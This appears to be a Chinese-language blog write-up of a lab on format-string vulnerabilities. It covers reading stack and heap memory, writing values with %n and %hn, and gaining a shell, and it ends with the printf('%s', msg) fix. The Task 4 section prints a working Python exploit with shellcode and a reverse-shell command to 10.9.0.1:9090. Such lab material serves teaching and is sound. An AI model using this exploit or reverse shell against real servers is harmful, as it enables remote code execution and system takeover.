Format String
overview
是通过printf系列的变量来执行恶意代码等
The way how the input data is fed into the printf() function is unsafe, and it leads to a format-string vulnerability
最终目标是将代码注入到服务器程序的堆栈中,然后触发代码
Task 1: Crashing the Program
针对第一个task,有两个方法:1 是针对于不能读的地方进行读取,2 是针对于不能写的地方进行写
但是运行后发现会return properly,仔细分析后发现是由于%d只是简单的访问栈上面中的参数,并且把参数换成10进制来输出,并不会访问什么不该访问的
所以,我们通过%s来进行攻击
可以发现此时没有正确的return
复盘
在这一题里面,我们想让程序不能正确返回的思路是正确的,读取内存当中不能被读取的内容或者往内存当中不能写的地方写
printf函数原型
Task 2: Printing Out the Server Program’s Memory
此任务的目标是让服务器从内存中打印出一些数据(我们将继续使用10.9.0.5)。数据将在服务器端打印出来,因此攻击者无法看到它。因此,这不是一个有意义的攻击,但此任务中使用的技术对于后续任务至关重要。
Task 2.A: Stack Data
此时,buffer作为局部变量是放在栈上面的,一共有1500个字节,在这里,我们需要知道在format string和buf起始地址之间的相对偏移量
首先,我们能够知道bufferr在栈上面的位置是0xffffd660
原本想着是通过gdb调试来看到printf里面的return address,后来发现是自己傻了,那么多次调用printf,怎么看。。。
后来就直接通过调整%x的数量来看了。。。
当为%数量为64的时候,发现会正好
)
也就是说,buffer起始的字符串会是第64个参数
Task 2.B: Heap Data
在这里的话,就是需要我们来打印作为全局变量存放在heap当中的secret字符串
char *secret = "A secret message\n";
最开始想到的就是%s,然后将format string上面的第一个参数设置为&secret,但是问题怎么进行修改
之后想到能直接读取第64位的参数,而这个参数正好是buffer的起始位置
我们根据提示能够得到对应的在heap当中的地址
然后构造payload
可以看到,对应字符串内容被打印出来了
复盘
这个task当中最开始的目标就是打印出来对应的数据,注意在printf当中打印的规则,首先会将buffer当中的常规的字符打印出来,而遇到对应的占位符的时候,会根据参数来进行解析,以%s为例,当在buffer中遇到的时候,会来解析,比如将第一个参数对应存储位置里面的数据作为地址来进行寻址,然后打印出内存当中对应位置的字符串
Task 3: Modifying the Server Program’s Memory
这个task的目标是修改对应的target的值/一些影响程序执行的值,首先明确target是存放在heap当中的,然后根据提示信息来获取target的位置信息
可以看到地址为0x080e5068
Task 3.A: Change the value to a different value
修改内存当中数据的一个重要方式是通过%n
构造payload
可以看到对应的target的值已经从原来的0x11223344变成了0x4
Task 3.B: Change the value to 0x5000
因为我们现在只是通过%n将对应的位置修改为了0x4,而目标是修改为0x5000,
这里我们需要定向修改,因此必须输出额外的字符作为填充。这里我们插入了%1276x(1276 = 0x4FC = 0x500 - 0x4),程序会把输出的值强制扩展到1276位
构造payload
Task 3.C: Change the value to 0xAABBCCDD
当我们需要把内存中的某个值修改为一个非常大的数时,如果直接使用%n写入的话,那么需要提前输出数量巨大的字符,这会消耗非常多的时间,因而,如果我们希望改写一个地址,最好使用%hn,他一次写入两个字节而非四个,此外还有%hhn,一次写入一个字节
于是,我们试图向0x080e5068和0x080e506A中分别写入0xCCDD和0xAABB此时问题出现了:当我们需要把内存中的某个值修改为一个非常小的数时,因为我们在前面必须输出一些字符以确定修改的地址,那么看上去,我们所能修改的值看上去是有下界的(比如在这里,看上去我们不能实现小于8的值的写入),但是实际上,我们可以通过溢出来解决这个问题——因为我们只写两个字节,所以0x0000和0x10000的效果是一样的,因此高低地址要填充的字节数可以如下计算:
低地址 : low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8 = 65528
高地址 : high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr = 65433
在这里,我们所需要算的是0XCCDD - 8 = 52,437,0xAABB - 0xCCDD = 56,798(注意借位)
构造payload
Task 4: Inject Malicious Code into the Server Program
Q1:我们可以根据提示信息来获取buffer的起始位置为0xffffd650
我们先来通过gdb来找myprintf中return 的地址
所以return address当中应该放的是0x8049f7e
之后来找return address的内存位置,根据之前打印的stack上面的情况,可以看到return address所在位置是第11个参数,与buffer起始位置相距212个字节,之后相减,0xffffd650 - 0xd4 = 0xFFFFD57C
Q2:64个%x
构造payload
此时,将shellcode放在距离buffer起始位置0x100处,地址位0xffffd750
其中,0xFFFFD57C需要存放0xd750,- 8后需要填充55112,而较高位0xFFFFD57E需要存放0xFFFF,需要填充0xFFFF - 0xD750 = 0x28AF =10415
#!/usr/bin/python3
import sys
# 32-bit Generic Shellcode
shellcode_32 = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
#"/bin/ls -l; echo '===== Success! ======' *"
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# 64-bit Generic Shellcode
shellcode_64 = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/ls -l; echo '===== Success! ======' *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))
# Choose the shellcode version based on your target
shellcode = shellcode_32
# Put the shellcode somewhere in the payload
start = 0x100 # Change this number
content[start:start + len(shellcode)] = shellcode
############################################################
#
# Construct the format string here
#
############################################################
ret_low = 0xFFFFD57C
content[0:4] = (ret_low).to_bytes(4,byteorder='little')
ret_high = 0xFFFFD57E
content[4:8] = (ret_high).to_bytes(4,byteorder='little')
s = "%55112x%64$hn%10415x%65$hn"
fmt = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt
# Save the format string to file
with open('badfile', 'wb') as f:
f.write(content)
可以看到reverse shell成功
Task 5: Attacking the 64-bit Server Program
您的工作是构造有效负载以利用服务器的格式字符串漏洞。您的最终目标是在目标服务器上获得一个根shell。
首先就是先打印出来栈上面的信息
然后发现buffer起始位置是第34个参数
然后开始找return address的位置,根据提示信息中的frame pointer来找,frame pointer是0x00007fffffffe4c0,所以return address所在的位置就应该是0x00007fffffffe4c8
问题&解决
printf在遇一个字节的0的时候会停止解析,解决方法就是将对应的地址放在buffer的比较高的地方
要修改位于0x00007fffffffe4c8
的return address的值,仍然将shellcode放在距离buffer0x100的地方,所以此时shellcode的起始位置是0x00007fffffffe680
所以0x00007fffffffe4c8的低两位需要放0xe680,0x00007fffffffe4cA的中两位需要放0xffff,0x00007fffffffe4cc的高两位放0x7fff,最高位放0x0000
按照这个来修改对应文件,在这里没有贴上来,搞清思路了就基本没有什么难点。关于printf具体实现,可参考:printf 函数实现的深入剖析
然后运行结果如下:
可以看到reverse shell成功
Task 6
warning信息
format not a string literal and no format arguments
是在说不是在格式化参数,解决方案,改为printf(“%s”,msg)即可,此时没有warning
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!